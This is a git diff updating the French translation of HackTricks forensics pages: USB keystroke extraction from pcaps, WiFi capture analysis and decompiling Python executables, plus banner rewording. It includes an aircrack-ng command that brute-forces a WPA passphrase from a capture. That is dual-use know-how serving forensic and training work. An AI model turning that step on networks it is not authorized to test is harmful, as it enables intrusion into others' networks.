diff --git a/SUMMARY.md b/SUMMARY.md index 5b52a89b3..eb44158da 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -611,7 +611,6 @@ * [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md) * [NoSQL injection](pentesting-web/nosql-injection.md) * [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md) - * [OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values](pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md) * [Open Redirect](pentesting-web/open-redirect.md) * [Parameter Pollution](pentesting-web/parameter-pollution.md) * [Phone Number Injections](pentesting-web/phone-number-injections.md) @@ -677,7 +676,6 @@ * [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md) * [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md) * [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md) - * [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md) * [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md) * [XS-Search/XS-Leaks](pentesting-web/xs-search.md) * [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md) diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md index f3ac0239d..b040db26c 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md @@ -1,41 +1,41 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Si vous avez un pcap d'une connexion USB avec beaucoup d'Interruptions, il s'agit probablement d'une connexion de clavier USB. +Si vous avez un pcap d'une connexion USB avec beaucoup d'interruptions, il s'agit probablement d'une connexion de clavier USB. -Un filtre wireshark comme celui-ci pourrait être utile : `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` +Un filtre Wireshark comme celui-ci pourrait être utile : `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` -Il pourrait être important de savoir que les données qui commencent par "02" sont saisies en utilisant la touche shift. +Il pourrait être important de savoir que les données qui commencent par "02" sont pressées en utilisant la touche Maj. -Vous pouvez lire plus d'informations et trouver des scripts sur comment analyser ceci dans : +Vous pouvez trouver plus d'informations et des scripts sur la façon d'analyser cela dans : * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) +* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 0890baef6..05f44a27d 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,19 +1,19 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Si vous avez un pcap contenant la communication via USB d'un clavier comme le suivant : +Si vous avez un pcap contenant la communication via USB d'un clavier comme celui-ci : ![](<../../../.gitbook/assets/image (613).png>) @@ -22,21 +22,22 @@ Vous pouvez utiliser l'outil [**ctf-usb-keyboard-parser**](https://github.com/ca tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` -Vous pouvez trouver plus d'informations et quelques scripts sur comment analyser ceci dans : +Vous pouvez trouver plus d'informations et des scripts sur la façon d'analyser ceci dans: * [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) * [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) +
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert) ! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks: -* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
diff --git a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index dd55b9018..684e340de 100644 --- a/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,21 +1,21 @@
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
# Vérifier les BSSIDs -Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSIDs de la capture avec _Wireless --> WLAN Traffic_ : +Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSID de la capture avec _Wireless --> WLAN Traffic_ : ![](<../../../.gitbook/assets/image (424).png>) @@ -23,42 +23,46 @@ Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisa ## Brute Force -Une des colonnes de cet écran indique si **une authentification a été trouvée dans le pcap**. Si c'est le cas, vous pouvez essayer de la forcer en utilisant `aircrack-ng` : +Une des colonnes de cet écran indique si **une authentification a été trouvée à l'intérieur du pcap**. Si c'est le cas, vous pouvez essayer de le forcer en utilisant `aircrack-ng` : ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` -Par exemple, il récupérera la phrase secrète WPA protégeant une PSK (clé pré-partagée), qui sera nécessaire pour déchiffrer le trafic plus tard. +Par exemple, il récupérera la phrase de passe WPA protégeant un PSK (clé pré-partagée), qui sera nécessaire pour décrypter le trafic ultérieurement. -# Données dans les Balises / Canal Latéral +# Données dans les balises / Canal latéral -Si vous soupçonnez que **des données fuient à l'intérieur des balises d'un réseau Wifi**, vous pouvez vérifier les balises du réseau en utilisant un filtre comme le suivant : `wlan contains `, ou `wlan.ssid == "NOMduRESEAU"` recherchez à l'intérieur des paquets filtrés des chaînes de caractères suspectes. +Si vous soupçonnez que des données sont divulguées à l'intérieur des balises d'un réseau Wifi, vous pouvez vérifier les balises du réseau en utilisant un filtre comme celui-ci : `wlan contains `, ou `wlan.ssid == "NOMduRESEAU"` chercher à l'intérieur des paquets filtrés des chaînes suspectes. -# Trouver des Adresses MAC Inconnues dans Un Réseau Wifi +# Trouver des adresses MAC inconnues dans un réseau Wifi -Le lien suivant sera utile pour trouver les **machines envoyant des données à l'intérieur d'un Réseau Wifi** : +Le lien suivant sera utile pour trouver les machines envoyant des données à l'intérieur d'un réseau Wifi : * `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -Si vous connaissez déjà **les adresses MAC, vous pouvez les retirer de la sortie** en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Si vous connaissez déjà les adresses MAC, vous pouvez les supprimer de la sortie en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Une fois que vous avez détecté des adresses **MAC inconnues** communiquant à l'intérieur du réseau, vous pouvez utiliser des **filtres** comme le suivant : `wlan.addr== && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez déchiffré le trafic. +Une fois que vous avez détecté des adresses MAC inconnues communiquant à l'intérieur du réseau, vous pouvez utiliser des filtres comme celui-ci : `wlan.addr== && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez décrypté le trafic. -# Décrypter le Trafic +# Décrypter le trafic -Éditer --> Préférences --> Protocoles --> IEEE 802.11--> Éditer +Modifier --> Préférences --> Protocoles --> IEEE 802.11 --> Modifier ![](<../../../.gitbook/assets/image (426).png>) + + + +
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index a6d783015..f53795835 100644 --- a/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,26 +1,26 @@ -# Décompiler les binaires Python compilés (exe, elf) - Récupérer depuis .pyc +# Décompiler les binaires Python compilés (exe, elf) - Récupérer à partir de .pyc
-Apprenez le hacking AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
- + -Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). {% embed url="https://www.stmcyber.com/careers" %} -## Du binaire compilé au .pyc +## Du binaire compilé à .pyc À partir d'un binaire compilé **ELF**, vous pouvez **obtenir le .pyc** avec : ```bash @@ -41,38 +41,38 @@ pyi-archive_viewer ? X binary_name to filename? /tmp/binary.pyc ``` -Dans un **binaire exe python** compilé, vous pouvez **obtenir le .pyc** en exécutant : +Dans un **binaire exe Python** compilé, vous pouvez **obtenir le .pyc** en exécutant : ```bash python pyinstxtractor.py executable.exe ``` -## De .pyc à code python +## De .pyc au code Python -Pour les données **.pyc** (python "compilé"), vous devriez commencer par essayer d'**extraire** le **code** **python** **original** : +Pour les données **.pyc** (Python compilé), vous devriez commencer par essayer d'**extraire** le **code Python** **original** : ```bash uncompyle6 binary.pyc > decompiled.py ``` **Assurez-vous** que le binaire a l'**extension** "**.pyc**" (sinon, uncompyle6 ne fonctionnera pas) -Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer **les erreurs suivantes** : +Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer les **erreurs suivantes**: -### Erreur : Numéro magique inconnu 227 +### Erreur: Numéro magique inconnu 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` -Pour résoudre cela, vous devez **ajouter le bon nombre magique** au début du fichier généré. +Pour résoudre cela, vous devez **ajouter le bon numéro magique** au début du fichier généré. -**Les nombres magiques varient selon la version de python**, pour obtenir le nombre magique de **python 3.8**, vous devrez **ouvrir un terminal python 3.8** et exécuter : +**Les numéros magiques varient en fonction de la version de Python**, pour obtenir le numéro magique de **Python 3.8**, vous devrez **ouvrir un terminal Python 3.8** et exécuter : ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` -Le **numéro magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, ensuite, pour corriger cette erreur, vous devrez **ajouter** au **début** du **fichier .pyc** les octets suivants : `0x0d550a0d000000000000000000000000` +Le **nombre magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, puis, pour corriger cette erreur, vous devrez **ajouter** au **début** du fichier **.pyc** les octets suivants : `0x0d550a0d000000000000000000000000` -**Une fois** que vous avez **ajouté** cet en-tête magique, **l'erreur devrait être corrigée.** +**Une fois** que vous avez **ajouté** cet en-tête magique, l'**erreur devrait être corrigée.** -Voici à quoi ressemble un **en-tête magique .pyc python3.8** correctement ajouté : +Voici à quoi ressemblera un **en-tête magique .pyc python3.8** correctement ajouté : ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -80,23 +80,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` -### Erreur : Erreurs de décompilation génériques +### Erreur : Décompilation des erreurs génériques -**D'autres erreurs** comme : `class 'AssertionError'>; co_code devrait être l'un des types (, , , ); est de type ` peuvent apparaître. +**D'autres erreurs** telles que : `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` peuvent apparaître. -Cela signifie probablement que vous n'avez pas **ajouté correctement** le nombre magique ou que vous n'avez pas **utilisé** le **bon nombre magique**, donc **assurez-vous d'utiliser le bon** (ou essayez-en un nouveau). +Cela signifie probablement que vous n'avez pas ajouté correctement le nombre magique ou que vous n'avez pas **utilisé** le **bon nombre magique**, donc assurez-vous d'utiliser le bon (ou essayez-en un nouveau). -Consultez la documentation des erreurs précédentes. +Vérifiez la documentation de l'erreur précédente. -## Outil automatique +## Outil Automatique -L'outil [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) combine plusieurs outils disponibles pour la communauté qui **aident les chercheurs à déballer et décompiler des exécutables** écrits en python (py2exe et pyinstaller). +L'outil [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) assemble plusieurs outils disponibles pour la communauté qui **aident les chercheurs à désassembler et décompiler les exécutables** écrits en python (py2exe et pyinstaller). -Plusieurs règles YARA sont disponibles pour déterminer si l'exécutable est écrit en python (Ce script confirme également si l'exécutable est créé avec py2exe ou pyinstaller). +Plusieurs règles YARA sont disponibles pour déterminer si l'exécutable est écrit en python (ce script confirme également si l'exécutable est créé avec py2exe ou pyinstaller). -### ImportError : Nom de fichier : 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas +### ImportError: Nom du fichier : 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas -Actuellement, avec unpy2exe ou pyinstxtractor, le fichier de bytecode Python que nous obtenons peut ne pas être complet et, par conséquent, il **ne peut pas être reconnu par uncompyle6 pour obtenir le code source Python en clair**. Cela est causé par un numéro de version de bytecode Python manquant. Par conséquent, nous avons inclus une option de préfixe ; cela inclura un numéro de version de bytecode Python et aidera à faciliter le processus de décompilation. Lorsque nous essayons d'utiliser uncompyle6 pour décompiler le fichier .pyc, il retourne une erreur. Cependant, **une fois que nous utilisons l'option de préfixe, nous pouvons voir que le code source Python a été décompilé avec succès**. +Actuellement, avec unpy2exe ou pyinstxtractor, le fichier de bytecode Python que nous obtenons peut ne pas être complet et, par conséquent, **ne peut pas être reconnu par uncompyle6 pour obtenir le code source Python brut**. Cela est dû à l'absence d'un **numéro de version de bytecode Python**. Par conséquent, nous avons inclus une option de préfixe ; cela inclura un numéro de version de bytecode Python et aidera à faciliter le processus de décompilation. Lorsque nous essayons d'utiliser uncompyle6 pour décompiler le fichier .pyc, une erreur est renvoyée. Cependant, **une fois que nous utilisons l'option de préfixe, nous pouvons voir que le code source Python a été décompilé avec succès**. ``` test@test: uncompyle6 unpacked/malware_3.exe/archive.py Traceback (most recent call last): @@ -114,7 +114,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive ``` ## Analyse de l'assemblage Python -Si vous n'avez pas réussi à extraire le code "original" Python en suivant les étapes précédentes, alors vous pouvez essayer d'**extraire** l'**assemblage** (mais **il n'est pas très descriptif**, donc **essayez** d'extraire **à nouveau** le code original). Dans [cet article](https://bits.theorem.co/protecting-a-python-codebase/), j'ai trouvé un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux du code). Si le _.pyc_ provient de python2, utilisez python2 : +Si vous n'avez pas pu extraire le code Python "original" en suivant les étapes précédentes, vous pouvez essayer d'**extraire** l'**assemblage** Python (mais **il n'est pas très descriptif**, donc essayez d'extraire **à nouveau** le code original).Dans [ce lien](https://bits.theorem.co/protecting-a-python-codebase/), j'ai trouvé un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux du code). Si le _.pyc_ est de Python2, utilisez Python2 : ```bash >>> import dis >>> import marshal @@ -163,9 +163,9 @@ Pour commencer, nous allons vous montrer comment les charges utiles peuvent êtr ### Pour créer une charge utile en utilisant py2exe : -1. Installez le paquet py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org) -2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option "bundle_files" avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, dans un seul exe. -3. Une fois le script prêt, nous exécuterons la commande "python setup.py py2exe". Cela créera l'exécutable, tout comme dans la Figure 2. +1. Installez le package py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org) +2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option "bundle\_files" avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, dans un seul exe. +3. Une fois le script prêt, nous émettrons la commande "python setup.py py2exe". Cela créera l'exécutable, comme dans la Figure 2. ``` from distutils.core import setup import py2exe, sys, os @@ -193,10 +193,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` -### Pour créer un payload avec PyInstaller : +### Pour créer une charge utile en utilisant 